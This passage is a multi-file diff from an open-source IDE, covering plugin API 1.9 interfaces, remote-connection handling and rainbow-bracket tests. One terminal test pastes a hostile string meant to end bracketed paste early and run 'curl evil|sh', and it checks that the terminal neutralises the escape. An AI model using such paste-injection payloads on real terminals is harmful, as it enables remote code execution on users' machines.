|
||||
|
||||
await row.click({ button: "right" });
|
||||
await page
|
||||
.getByRole("menu", { name: "Context menu" })
|
||||
.getByRole("menuitem", { name: "Show File at Revision" })
|
||||
.click();
|
||||
await expect
|
||||
.poll(async () => ipcCalls(page, "vcs_file_at"))
|
||||
.toContainEqual({ path: `${ROOT}/src/old-name.ts`, rev: REVISION });
|
||||
});
|
||||
@@ -0,0 +1,60 @@
|
||||
import { expect, test } from "@playwright/test";
|
||||
|
||||
test("a pasted ESC cannot end bracketed paste early", async ({ page }) => {
|
||||
await page.goto("/");
|
||||
const observed = await page.evaluate(async () => {
|
||||
const ipcPath = "/src/platform/ipc.ts";
|
||||
const sessionPath = "/src/features/terminal/session.ts";
|
||||
const { commands } = await import(ipcPath);
|
||||
const { TerminalSession } = await import(sessionPath);
|
||||
Object.defineProperty(window, "__TAURI_INTERNALS__", {
|
||||
configurable: true,
|
||||
value: { transformCallback: () => 1 },
|
||||
});
|
||||
const writes: string[] = [];
|
||||
commands.termSpawn = async () => ({ status: "ok", data: { id: 839, title: "bash", pid: 1 } });
|
||||
commands.clipboardFileList = async () => ({ status: "ok", data: [] });
|
||||
commands.termWrite = async (_id: number, data: string) => writes.push(data);
|
||||
commands.termResize = async () => undefined;
|
||||
commands.termKill = async () => undefined;
|
||||
const container = document.createElement("div");
|
||||
container.style.cssText = "position:fixed;inset:0;z-index:99999";
|
||||
document.body.append(container);
|
||||
const session = new TerminalSession({ key: "paste-escape", cwd: "/tmp", onChange() {}, onFocus() {} });
|
||||
const paste = async (text: string) => {
|
||||
const before = writes.length;
|
||||
const transfer = new DataTransfer();
|
||||
transfer.setData("text/plain", text);
|
||||
const event = new ClipboardEvent("paste", { bubbles: true, cancelable: true, clipboardData: transfer });
|
||||
container.querySelector("textarea")!.dispatchEvent(event);
|
||||
const deadline = Date.now() + 5000;
|
||||
while (writes.length === before && Date.now() < deadline) {
|
||||
await new Promise((resolve) => requestAnimationFrame(resolve));
|
||||
}
|
||||
return { claimed: event.defaultPrevented, written: writes.slice(before) };
|
||||
};
|
||||
try {
|
||||
session.attach(container);
|
||||
await session.start();
|
||||
// xterm opens on a later frame, once the pane has a size.
|
||||
const openDeadline = Date.now() + 5000;
|
||||
while (!container.querySelector("textarea") && Date.now() < openDeadline) {
|
||||
await new Promise((resolve) => requestAnimationFrame(resolve));
|
||||
}
|
||||
// The shell asks for bracketed paste, as bash and zsh do at the prompt.
|
||||
await new Promise<void>((resolve) => session.term.write("\x1b[?2004h", resolve));
|
||||
return {
|
||||
hostile: await paste("README\x1b[201~;curl evil|sh;#\r"),
|
||||
plain: await paste("ls -la"),
|
||||
};
|
||||
} finally {
|
||||
session.dispose();
|
||||
container.remove();
|
||||
}
|
||||
});
|
||||
expect(observed.hostile).toEqual({
|
||||
claimed: true,
|
||||
written: ["\x1b[200~README\u241b[201~;curl evil|sh;#\r\x1b[201~"],
|
||||
});
|
||||
expect(observed.plain).toEqual({ claimed: false, written: ["\x1b[200~ls -la\x1b[201~"] });
|
||||
});
|
||||
+1
-1
@@ -2,7 +2,7 @@
|
||||
"name": "openidea",
|
||||
"private": true,
|
||||
"description": "An open-source IDE inspired by IntelliJ IDEA",
|
||||
"version": "0.1.45",
|
||||
"version": "0.1.46",
|
||||
"license": "Apache-2.0",
|
||||
"type": "module",
|
||||
"scripts": {
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package openidea:plugin@1.8.0;
|
||||
package openidea:plugin@1.9.0;
|
||||
|
||||
/// The commit being prepared in the window the current command or event came
|
||||
/// from (the Commit tool window, or the Commit dialog while it is open): the
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package openidea:plugin@1.8.0;
|
||||
package openidea:plugin@1.9.0;
|
||||
|
||||
/// Plugin-owned project data sources. Requires database.sources and project trust.
|
||||
/// Runs on the Database subsystem's host, including on remote project servers.
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package openidea:plugin@1.8.0;
|
||||
package openidea:plugin@1.9.0;
|
||||
|
||||
/// Editor and project-tree decorations (API 1.4). Requires project.read. An editor set
|
||||
/// follows its file: the file's own project, or the nearest one when it is outside them all.
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package openidea:plugin@1.8.0;
|
||||
package openidea:plugin@1.9.0;
|
||||
|
||||
/// What the pane beside the Services tree shows for a plugin's node.
|
||||
interface detail-types {
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package openidea:plugin@1.8.0;
|
||||
package openidea:plugin@1.9.0;
|
||||
|
||||
/// Optional export (world `plugin-diagnostics`): problems in the current,
|
||||
/// possibly unsaved document, for the languages declared with the
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package openidea:plugin@1.8.0;
|
||||
package openidea:plugin@1.9.0;
|
||||
|
||||
/// HTTP endpoints found in a project (`[[contributes.endpoints]]`).
|
||||
interface endpoints-provider {
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package openidea:plugin@1.8.0;
|
||||
package openidea:plugin@1.9.0;
|
||||
|
||||
/// Workbench events, delivered in batches to `event-handler.handle`.
|
||||
interface events {
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package openidea:plugin@1.8.0;
|
||||
package openidea:plugin@1.9.0;
|
||||
|
||||
interface lifecycle {
|
||||
use types.{context, error};
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package openidea:plugin@1.8.0;
|
||||
package openidea:plugin@1.9.0;
|
||||
|
||||
/// What other plugins contributed to the extension points this plugin declares
|
||||
/// (`[[extension-points]]` in `plugin.toml`; the contributors list this plugin
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package openidea:plugin@1.8.0;
|
||||
package openidea:plugin@1.9.0;
|
||||
|
||||
/// Optional export (world `plugin-file-actions`): quick fixes and
|
||||
/// refactorings that create, rename or delete files, next to the text edits
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package openidea:plugin@1.8.0;
|
||||
package openidea:plugin@1.9.0;
|
||||
|
||||
/// Files outside the open projects: the configuration of the program a
|
||||
/// plugin integrates with, a tool installed elsewhere, a licence file.
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package openidea:plugin@1.8.0;
|
||||
package openidea:plugin@1.9.0;
|
||||
|
||||
/// Writes to the IDE log, tagged with the plugin id.
|
||||
interface log {
|
||||
@@ -126,6 +126,33 @@ interface command-runner {
|
||||
execute: func(id: string, arg: option<string>) -> result<option<string>, error>;
|
||||
}
|
||||
|
||||
/// Requests to the language servers the IDE runs (API 1.9).
|
||||
interface language-servers {
|
||||
use types.{error};
|
||||
use workspace.{project};
|
||||
|
||||
/// Sends `method` to the server named `server` (the `name` of its
|
||||
/// `[[language-servers]]` entry in the language definition, e.g. `phoxite`)
|
||||
/// running for `project`, and returns the result as JSON. `params` is JSON,
|
||||
/// or none for no params. Requires `lsp:<server>` and a trusted project.
|
||||
///
|
||||
/// Only the server's own methods pass (`phoxite/laravel/routes`): `initialize`,
|
||||
/// `initialized`, `shutdown`, `exit`, anything starting with `$/` and any
|
||||
/// method whose first segment is an LSP namespace (`textDocument`, `workspace`,
|
||||
/// `window`, `notebookDocument`, `callHierarchy`, `typeHierarchy`,
|
||||
/// `completionItem`, `codeAction`, `codeLens`, `documentLink`, `inlayHint`,
|
||||
/// `workspaceSymbol`, `client`, `telemetry`) are `invalid`.
|
||||
///
|
||||
/// `not-found` when no such server is running for the project: the call never
|
||||
/// starts one. The server's own error is `failed` with its message. The call
|
||||
/// ends with the invocation's cancellation and time budget. At most 256 bytes
|
||||
/// of method and 1 MiB of params.
|
||||
request: func(project: borrow<project>, server: string, method: string, params: option<string>) -> result<string, error>;
|
||||
|
||||
/// The same for a notification: no answer is awaited.
|
||||
notify: func(project: borrow<project>, server: string, method: string, params: option<string>) -> result<_, error>;
|
||||
}
|
||||
|
||||
/// Per-plugin named, read-only Output tabs (API 1.4), with a 1 MiB UTF-8 ring buffer.
|
||||
interface output {
|
||||
use types.{error};
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package openidea:plugin@1.8.0;
|
||||
package openidea:plugin@1.9.0;
|
||||
|
||||
/// Optional export (world `plugin-hover`): Markdown added to the hover of
|
||||
/// documents of the languages declared with the `hover` provider kind,
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package openidea:plugin@1.8.0;
|
||||
package openidea:plugin@1.9.0;
|
||||
|
||||
/// Cross-file associations a plugin publishes for the files it declares under
|
||||
/// `[[contributes.documentIndexers]]`. The host calls `index` in cancellable
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package openidea:plugin@1.8.0;
|
||||
package openidea:plugin@1.9.0;
|
||||
|
||||
/// Embedded languages. The host routes plugin providers and configured language
|
||||
/// servers inside these ranges, preserving host-document UTF-16 coordinates.
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package openidea:plugin@1.8.0;
|
||||
package openidea:plugin@1.9.0;
|
||||
|
||||
/// Optional export (world `plugin-inlay-hints`): inline hints in documents of
|
||||
/// the languages declared with the `inlay-hints` provider kind, including
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package openidea:plugin@1.8.0;
|
||||
package openidea:plugin@1.9.0;
|
||||
|
||||
/// Problems in files, shown in the editor and the Problems view.
|
||||
interface diagnostics {
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package openidea:plugin@1.8.0;
|
||||
package openidea:plugin@1.9.0;
|
||||
|
||||
/// Additional language features, called only for declared API 1.4 provider kinds.
|
||||
/// Editor calls have a 50 ms soft / 500 ms hard budget; formatting has 5 seconds.
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package openidea:plugin@1.8.0;
|
||||
package openidea:plugin@1.9.0;
|
||||
|
||||
/// Discovery of the IDE's built-in MCP server; never exposes its URL or token.
|
||||
interface mcp {
|
||||
|
||||
@@ -8,7 +8,7 @@
|
||||
/// `fs` and `workspace`, and everything else goes through the imports below,
|
||||
/// gated by the capabilities granted in `plugin.toml` (a missing one returns
|
||||
/// `error::denied`).
|
||||
package openidea:plugin@1.8.0;
|
||||
package openidea:plugin@1.9.0;
|
||||
|
||||
world plugin {
|
||||
import log;
|
||||
@@ -31,6 +31,7 @@ world plugin {
|
||||
import output;
|
||||
import auth;
|
||||
import command-runner;
|
||||
import language-servers;
|
||||
import views;
|
||||
import run;
|
||||
import run-targets;
|
||||
@@ -183,6 +184,10 @@ world editor-diagnostics {
|
||||
world plugin-run-configurations { include plugin; export run-configurations; }
|
||||
/// Export-only configurations world, composed with plugin by SDK macros.
|
||||
world configurations-provider { export run-configurations; }
|
||||
/// A plugin that exports configurations with an environment and a debugger (API 1.9).
|
||||
world plugin-launch-configurations { include plugin; export launch-configurations; }
|
||||
/// Export-only launch configurations world, composed with plugin by SDK macros.
|
||||
world launch-configurations-provider { export launch-configurations; }
|
||||
/// A plugin that parses its test output.
|
||||
world plugin-test-results { include plugin; export test-results; }
|
||||
/// Export-only test parser world, composed with plugin by SDK macros.
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package openidea:plugin@1.8.0;
|
||||
package openidea:plugin@1.9.0;
|
||||
|
||||
/// Editor features a plugin provides for the languages it declares under
|
||||
/// `[[contributes.providers]]` (the host calls only declared kinds). They run
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package openidea:plugin@1.8.0;
|
||||
package openidea:plugin@1.9.0;
|
||||
|
||||
/// Project-scoped targets owned by the registering plugin (API 1.4).
|
||||
interface run-targets {
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package openidea:plugin@1.8.0;
|
||||
package openidea:plugin@1.9.0;
|
||||
|
||||
/// Launches this plugin's configurations in the invoking window's Run tool window.
|
||||
interface run {
|
||||
@@ -24,6 +24,46 @@ interface run-configurations {
|
||||
configurations: func(project-root: string) -> list<run-configuration>;
|
||||
}
|
||||
|
||||
/// Optional dynamic configurations with an environment and a debugger (API 1.9).
|
||||
/// When a plugin exports both, the IDE uses this one instead of `run-configurations`.
|
||||
interface launch-configurations {
|
||||
use types.{extension};
|
||||
/// A process the run starts, to attach the debugger to.
|
||||
record attach-child {
|
||||
/// Its debugger, as in Attach to Process: `dotnet`, `node`, `python`, `go` or `native`.
|
||||
kind: string,
|
||||
/// Only a process whose command line contains this text.
|
||||
command-contains: option<string>,
|
||||
}
|
||||
/// How Debug starts the configuration.
|
||||
variant debugger {
|
||||
/// Starts `program` under the debugger of this language id (its `[debugger]`), e.g. `python`.
|
||||
launch(string),
|
||||
/// Runs the configuration as Run does, then attaches to the first matching process the
|
||||
/// run starts (it waits for one up to 60 seconds).
|
||||
attach-child(attach-child),
|
||||
/// Later kinds; this IDE treats the configuration as having no debugger.
|
||||
other(extension),
|
||||
}
|
||||
/// `run-configuration` with an environment and a debugger.
|
||||
record launch-configuration {
|
||||
id: string,
|
||||
name: string,
|
||||
program: string,
|
||||
args: list<string>,
|
||||
cwd: option<string>,
|
||||
test: bool,
|
||||
framework: option<string>,
|
||||
/// Variables added to the run's environment (at most 64). A name the IDE's own
|
||||
/// environment already has, such as `PATH`, is refused like in `process`.
|
||||
env: list<tuple<string, string>>,
|
||||
/// None: Debug infers the debugger from a source file in `args`, as before.
|
||||
debugger: option<debugger>,
|
||||
}
|
||||
/// Returns the complete set for this project root.
|
||||
configurations: func(project-root: string) -> list<launch-configuration>;
|
||||
}
|
||||
|
||||
/// Optional parser for test configurations whose framework is plugin.
|
||||
interface test-results {
|
||||
use types.{location, extension};
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package openidea:plugin@1.8.0;
|
||||
package openidea:plugin@1.9.0;
|
||||
|
||||
/// Optional export (world `plugin-semantic-tokens`): semantic colouring of
|
||||
/// documents of the languages declared with the `semantic-tokens` provider
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package openidea:plugin@1.8.0;
|
||||
package openidea:plugin@1.9.0;
|
||||
|
||||
/// Shared types. Positions are 0-based lines and UTF-16 code unit columns,
|
||||
/// as in the editor and LSP.
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package openidea:plugin@1.8.0;
|
||||
package openidea:plugin@1.9.0;
|
||||
|
||||
/// Declarative views: tool windows declared
|
||||
/// under `[[contributes.views]]` and custom editors under
|
||||
@@ -153,7 +153,8 @@ interface views {
|
||||
/// (API 1.7): a review's file before and after, say. `file-name` (a name or
|
||||
/// relative path, at most 256 characters) picks the syntax highlighting and
|
||||
/// names the tab when `diff.title` is absent. Only from a command or event
|
||||
/// of a window; each side at most 1 MiB.
|
||||
/// of a window. Each side at most 8 MiB (earlier hosts: 1 MiB); a larger
|
||||
/// side fails with `invalid("diff too large: …")`.
|
||||
open-diff: func(diff: content-diff, file-name: option<string>) -> result<_, error>;
|
||||
|
||||
/// The view (or every custom editor of that id) shows outdated content:
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package openidea:plugin@1.8.0;
|
||||
package openidea:plugin@1.9.0;
|
||||
|
||||
interface workspace {
|
||||
use types.{error, location};
|
||||
|
||||
@@ -344,19 +344,6 @@ pub async fn agent_fork(
|
||||
agent::fork(&state.host, window.label(), task, turns).await
|
||||
}
|
||||
|
||||
/// Creates a temporary side conversation of `source`: lives in memory only, never
|
||||
/// persisted, not listed, and its session starts with the first message sent to it.
|
||||
#[tauri::command]
|
||||
#[specta::specta]
|
||||
pub async fn agent_create_ephemeral(
|
||||
window: Window,
|
||||
state: State<'_, AppState>,
|
||||
request: NewAgentTask,
|
||||
source: String,
|
||||
) -> IdeResult<AgentTask> {
|
||||
agent::create_ephemeral(&state.host, window.label(), request, source).await
|
||||
}
|
||||
|
||||
/// Drops the task's turns after its first `turns`; returns the message of the first dropped one.
|
||||
#[tauri::command]
|
||||
#[specta::specta]
|
||||
|
||||
@@ -155,7 +155,6 @@ pub fn builder() -> tauri_specta::Builder<tauri::Wry> {
|
||||
agent::agent_send_queued_now,
|
||||
agent::agent_set_config,
|
||||
agent::agent_fork,
|
||||
agent::agent_create_ephemeral,
|
||||
agent::agent_rollback,
|
||||
agent::agent_probe,
|
||||
agent::agent_cancel,
|
||||
|
||||
@@ -603,11 +603,19 @@ pub async fn remote_connect(
|
||||
let peer = connection.peer.clone();
|
||||
let auth_plugins = state.plugins.clone();
|
||||
let auth_window = label.clone();
|
||||
let app = window.app_handle().clone();
|
||||
tauri::async_runtime::spawn(async move {
|
||||
peer.closed().await;
|
||||
auth_plugins.forget_remote_loopbacks(&auth_window);
|
||||
if let Some(connection) = weak.upgrade() {
|
||||
connection.forwards.lock().clear();
|
||||
let Some(connection) = weak.upgrade() else { return };
|
||||
connection.forwards.lock().clear();
|
||||
// Still the window's connection: not a disconnect or a replacement, so the window learns
|
||||
// its project is unreachable instead of failing every command with "connection closed".
|
||||
let current = app.state::<AppState>().remote_dev.get(&auth_window);
|
||||
if current.is_some_and(|c| Arc::ptr_eq(&c, &connection)) {
|
||||
tracing::warn!("{}: the connection to openidea-server was lost", connection.host);
|
||||
TauriSink { app, window: Some(auth_window) }
|
||||
.emit(ide_core::IdeEvent::RemoteConnectionLost { host: connection.host.clone() });
|
||||
}
|
||||
});
|
||||
let plugins = state.plugins.clone();
|
||||
@@ -957,7 +965,7 @@ pub async fn remote_invoke(
|
||||
let call = Invoke { window: label, cmd, args };
|
||||
let mut result = invoke_reply(&c.peer, call, std::time::Duration::from_secs(30))
|
||||
.await
|
||||
.map_err(|e| older_server_error(e, &c.server_version, &c.host))?;
|
||||
.map_err(|e| lost_connection_error(older_server_error(e, &c.server_version, &c.host), &c))?;
|
||||
if web_url && let Some(url) = result.as_str() {
|
||||
result = Value::String(forward_web_url(&c, url).await?);
|
||||
}
|
||||
@@ -1018,6 +1026,12 @@ fn older_server_error(e: IdeError, server_version: &str, host: &str) -> IdeError
|
||||
))
|
||||
}
|
||||
|
||||
/// A request that failed because the transport is gone says so, instead of the bare JSON-RPC
|
||||
/// "connection closed".
|
||||
fn lost_connection_error(e: IdeError, c: &Connection) -> IdeError {
|
||||
if c.peer.is_closed() { IdeError::unavailable(format!("Lost the connection to {}", c.host)) } else { e }
|
||||
}
|
||||
|
||||
// Conversation reads are snapshots; a silent host must not leave them pending forever.
|
||||
async fn invoke_reply(peer: &Peer, call: Invoke, entries_timeout: std::time::Duration) -> IdeResult<Value> {
|
||||
let reply = peer.request("invoke", &call, None);
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
{
|
||||
"$schema": "https://schema.tauri.app/config/2",
|
||||
"productName": "OpenIDEA",
|
||||
"version": "0.1.45",
|
||||
"version": "0.1.46",
|
||||
"identifier": "ai.l0ng.openidea",
|
||||
"build": {
|
||||
"beforeDevCommand": "pnpm dev",
|
||||
|
||||
@@ -7,7 +7,6 @@ agent_cancel always project_host bin
|
||||
agent_changes trusted project_host bindings async
|
||||
agent_commands always project_host bindings async
|
||||
agent_create trusted project_host bindings async
|
||||
agent_create_ephemeral trusted desktop bindings async
|
||||
agent_custom_import trusted desktop bindings sync
|
||||
agent_custom_remove trusted desktop bindings sync
|
||||
agent_custom_save trusted desktop bindings sync
|
||||
|
||||
+6
-11
@@ -225,11 +225,6 @@ export const commands = {
|
||||
agentSetConfig: (task: string, option: string, value: string) => typedError<null, IdeError>(__TAURI_INVOKE("agent_set_config", { task, option, value })),
|
||||
/** Copies the task's conversation into a new task, up to its first `turns` turns (all when `None`). */
|
||||
agentFork: (task: string, turns: number | null) => typedError<AgentTask_Serialize, IdeError>(__TAURI_INVOKE("agent_fork", { task, turns })),
|
||||
/**
|
||||
* Creates a temporary side conversation of `source`: lives in memory only, never
|
||||
* persisted, not listed, and its session starts with the first message sent to it.
|
||||
*/
|
||||
agentCreateEphemeral: (request: NewAgentTask, source: string) => typedError<AgentTask_Serialize, IdeError>(__TAURI_INVOKE("agent_create_ephemeral", { request, source })),
|
||||
/** Drops the task's turns after its first `turns`; returns the message of the first dropped one. */
|
||||
agentRollback: (task: string, turns: number) => typedError<{
|
||||
text: string,
|
||||
@@ -1971,11 +1966,6 @@ export type AgentCapabilities = {
|
||||
steer?: boolean,
|
||||
/** It reports its background tasks and stops them one by one. */
|
||||
backgroundTasks?: boolean,
|
||||
/**
|
||||
* The task runs read-only: it asks before anything, and requests that would change
|
||||
* the project are denied (a temporary side conversation).
|
||||
*/
|
||||
readOnly?: boolean,
|
||||
};
|
||||
|
||||
/**
|
||||
@@ -6391,7 +6381,12 @@ export type IdeEvent =
|
||||
/** Project window membership or selection changed. */
|
||||
{ type: "windowGroupsChanged" } |
|
||||
/** A window entered or left full screen, itself or as a member of a full-screen window group. */
|
||||
{ type: "windowFullscreenChanged" } | { type: "projectTrustChanged"; root: IpcPath; trusted: boolean } |
|
||||
{ type: "windowFullscreenChanged" } |
|
||||
/**
|
||||
* This remote window's connection to its host ended on its own (network loss, the host or
|
||||
* its server went away); the window's project is unreachable until it reconnects.
|
||||
*/
|
||||
{ type: "remoteConnectionLost"; host: string } | { type: "projectTrustChanged"; root: IpcPath; trusted: boolean } |
|
||||
/** Files or directories changed on disk (after debouncing, ignore rules applied). */
|
||||
{ type: "fsChanged"; created: IpcPath[]; modified: IpcPath[]; removed: IpcPath[];
|
||||
/** Subtrees whose ignore rules changed, after the matchers were rebuilt. */
|
||||
|
||||
@@ -3,7 +3,7 @@ import { EditorState, type Extension } from "@codemirror/state";
|
||||
import { EditorView } from "@codemirror/view";
|
||||
import { completedSyntaxState } from "@/test/syntax";
|
||||
import { languages } from "@codemirror/language-data";
|
||||
import { BracketScanner, bracketClass } from "./rainbowBrackets";
|
||||
import { BracketScanner, bracketClass, rainbowBrackets } from "./rainbowBrackets";
|
||||
import { heavyExtension } from "./setup";
|
||||
import type { EditorSettings } from "@/platform/ipc";
|
||||
|
||||
@@ -17,7 +17,18 @@ function marks(doc: string, ext: Extension = [], from = 0, to = doc.length, scan
|
||||
return scanner.marks(state, from, to).map((m) => `${doc[m.from]}${m.depth < 0 ? "!" : m.depth}`);
|
||||
}
|
||||
|
||||
const javascript = () => languages.find((l) => l.name === "JavaScript")!.load();
|
||||
const load = (name: string) => languages.find((l) => l.name === name)!.load();
|
||||
const javascript = () => load("JavaScript");
|
||||
|
||||
/** Classes of the coloured brackets an editor renders with `extensions`. */
|
||||
function rendered(doc: string, extensions: Extension) {
|
||||
const view = new EditorView({ state: EditorState.create({ doc, extensions }), parent: document.body });
|
||||
const classes = [...view.contentDOM.querySelectorAll("[class*=cm-rainbow-bracket]")].map(
|
||||
(e) => `${e.textContent}${e.className.replace("cm-rainbow-bracket-", "")}`,
|
||||
);
|
||||
view.destroy();
|
||||
return classes;
|
||||
}
|
||||
|
||||
describe("rainbow brackets", () => {
|
||||
it("colours brackets by nesting depth, cycling through the palette", () => {
|
||||
@@ -51,6 +62,125 @@ describe("rainbow brackets", () => {
|
||||
expect(marks(doc, await javascript())).toEqual(["(0", ")0", "(0", "[1", "{2", "}2", "]1", ")0"]);
|
||||
});
|
||||
|
||||
it.each(["JavaScript", "TypeScript"])("colours %s template expressions but skips literal text", async (name) => {
|
||||
const doc = 'f(`literal ([ ${g(["}", /[)]/]) /* ] */} tail ) ${h()}`)';
|
||||
expect(marks(doc, await load(name))).toEqual([
|
||||
"(0",
|
||||
"{1",
|
||||
"(2",
|
||||
"[3",
|
||||
"]3",
|
||||
")2",
|
||||
"}1",
|
||||
"{1",
|
||||
"(2",
|
||||
")2",
|
||||
"}1",
|
||||
")0",
|
||||
]);
|
||||
});
|
||||
|
||||
it("handles nested templates and escaped interpolation delimiters", async () => {
|
||||
const doc = "f(`\\${literal(} ${g(`text ) ${h([1])}`)} tail [`); after()";
|
||||
expect(marks(doc, await javascript())).toEqual([
|
||||
"(0",
|
||||
"{1",
|
||||
"(2",
|
||||
"{3",
|
||||
"(4",
|
||||
"[5",
|
||||
"]5",
|
||||
")4",
|
||||
"}3",
|
||||
")2",
|
||||
"}1",
|
||||
")0",
|
||||
"(0",
|
||||
")0",
|
||||
]);
|
||||
});
|
||||
|
||||
it("colours Python replacements and nested format expressions but skips literal braces", async () => {
|
||||
const doc = "s = f\"literal ([ {{escaped}} {f([')']):)>{width()}} tail ]\"; g()";
|
||||
expect(marks(doc, await load("Python"))).toEqual([
|
||||
"{0",
|
||||
"(1",
|
||||
"[2",
|
||||
"]2",
|
||||
")1",
|
||||
"{1",
|
||||
"(2",
|
||||
")2",
|
||||
"}1",
|
||||
"}0",
|
||||
"(0",
|
||||
")0",
|
||||
]);
|
||||
});
|
||||
|
||||
it("colours PHP interpolation without colouring its enclosing string", async () => {
|
||||
expect(marks('<?php $s = "literal ( {$a[0]} tail ]"; f();', await load("PHP"))).toEqual([
|
||||
"{0",
|
||||
"[1",
|
||||
"]1",
|
||||
"}0",
|
||||
"(0",
|
||||
")0",
|
||||
]);
|
||||
});
|
||||
|
||||
it.each([
|
||||
["JavaScript", 'f("(\\\"[", \'{\', `)`)'],
|
||||
["Python", 'f("(", \']\', r"{", """multi\n)""")'],
|
||||
["Rust", 'f(\'(\', "[", r#"}"#)'],
|
||||
["Java", 'f(\'(\', "[", """\n}\n""")'],
|
||||
])("keeps %s string and character contents uncoloured", async (name, doc) => {
|
||||
expect(marks(doc, await load(name))).toEqual(["(0", ")0"]);
|
||||
});
|
||||
|
||||
it.each(["HTML", "JSX"])("skips %s attribute values and keeps embedded code", async (name) => {
|
||||
const doc =
|
||||
name === "HTML"
|
||||
? '<div a="(" b=] c=\'{\'><!-- ) --><script>f("(", [1])</script></div>'
|
||||
: 'const x = <div a="(" b=\']\' c={f("}", [1])}>{g()}</div>';
|
||||
expect(marks(doc, await load(name))).toEqual(
|
||||
name === "HTML" ? ["(0", "[1", "]1", ")0"] : ["{0", "(1", "[2", "]2", ")1", "}0", "{0", "(1", ")1", "}0"],
|
||||
);
|
||||
});
|
||||
|
||||
it("keeps interpolation depth across chunks, viewports and edits", async () => {
|
||||
const doc = "f(`" + "literal ([ ".repeat(500) + "${g([1])}" + " tail ) ".repeat(700) + "`); h()";
|
||||
const ext = await javascript();
|
||||
const scanner = new BracketScanner();
|
||||
const from = doc.indexOf("[1]");
|
||||
expect(marks(doc, ext, from, doc.length, scanner)).toEqual(["[3", "]3", ")2", "}1", ")0", "(0", ")0"]);
|
||||
expect(marks(doc, ext, from + 2, doc.length, scanner)).toEqual(["]3", ")2", "}1", ")0", "(0", ")0"]);
|
||||
let state = completedSyntaxState(EditorState.create({ doc, extensions: ext }));
|
||||
const edit = doc.indexOf("${");
|
||||
state = completedSyntaxState(state.update({ changes: { from: edit, insert: "\\" } }).state);
|
||||
scanner.invalidate(edit);
|
||||
expect(
|
||||
scanner.marks(state, from + 1, state.doc.length).map((m) => `${state.sliceDoc(m.from, m.from + 1)}${m.depth}`),
|
||||
).toEqual([")0", "(0", ")0"]);
|
||||
});
|
||||
|
||||
it("renders only interpolation code and leaves HTML attributes undecorated", async () => {
|
||||
expect(rendered('`text ( ${f("}", [1])} tail ]`', [await javascript(), rainbowBrackets()])).toEqual([
|
||||
"{1",
|
||||
"(2",
|
||||
"[3",
|
||||
"]3",
|
||||
")2",
|
||||
"}1",
|
||||
]);
|
||||
expect(rendered('<div title="("><script>f([1])</script></div>', [await load("HTML"), rainbowBrackets()])).toEqual([
|
||||
"(1",
|
||||
"[2",
|
||||
"]2",
|
||||
")1",
|
||||
]);
|
||||
});
|
||||
|
||||
it("knows the depth at a viewport far into the document and after edits", () => {
|
||||
const body = "x(y)\n".repeat(5000);
|
||||
const doc = `{\n${body}[z]\n}`;
|
||||
|
||||
@@ -1,9 +1,10 @@
|
||||
/**
|
||||
* Rainbow brackets (VS Code's bracket pair colorization): `()`, `[]`, `{}`
|
||||
* coloured by nesting depth (`--syn-bracket-<n>`, cycling), unmatched ones in
|
||||
* the error colour. Strings and comments are skipped: with the syntax tree
|
||||
* when the language has one, else lexically with the language's comment
|
||||
* tokens and quotes.
|
||||
* the error colour. Strings, comments and markup literals are skipped: with
|
||||
* the syntax tree when the language has one, else lexically with the
|
||||
* language's comment tokens and quotes. Interpolated expressions stay
|
||||
* visible as holes inside those literals.
|
||||
*
|
||||
* Only the viewport is decorated. The nesting state at its start comes from
|
||||
* checkpoints saved every few KB while scanning, so scrolling and typing
|
||||
@@ -57,7 +58,9 @@ interface CommentTokens {
|
||||
block?: { open: string; close: string };
|
||||
}
|
||||
|
||||
const SKIP_NODE = /string|comment|char|rune|regexp|textblock|docstring|heredoc/i;
|
||||
const SKIP_NODE =
|
||||
/string|comment|char|rune|regexp|textblock|docstring|heredoc|attributevalue|cdata|doctype|processinginst|^(FormatSpec|Text|JSXText)$/i;
|
||||
const INTERPOLATION_NODE = /^(Interpolation|FormatReplacement)$/;
|
||||
const skipCache = new WeakMap<NodeType, boolean>();
|
||||
function skipsNode(type: NodeType): boolean {
|
||||
let v = skipCache.get(type);
|
||||
@@ -65,6 +68,31 @@ function skipsNode(type: NodeType): boolean {
|
||||
return v;
|
||||
}
|
||||
|
||||
/** Literal ranges, with holes for interpolated code (which may contain more literals). */
|
||||
function literalRanges(tree: Tree, from: number, to: number): number[] {
|
||||
const ranges: number[] = [];
|
||||
const parents: boolean[] = [];
|
||||
let skipping = false;
|
||||
let start = from;
|
||||
const setSkipping = (next: boolean, pos: number) => {
|
||||
if (next === skipping) return;
|
||||
if (next) start = Math.max(from, pos);
|
||||
else if (start < Math.min(to, pos)) ranges.push(start - from, Math.min(to, pos) - from);
|
||||
skipping = next;
|
||||
};
|
||||
tree.iterate({
|
||||
from,
|
||||
to,
|
||||
enter: (n) => {
|
||||
parents.push(skipping);
|
||||
if (skipsNode(n.type)) setSkipping(true, n.from);
|
||||
else if (INTERPOLATION_NODE.test(n.name)) setSkipping(false, n.from);
|
||||
},
|
||||
leave: (n) => setSkipping(parents.pop()!, n.to),
|
||||
});
|
||||
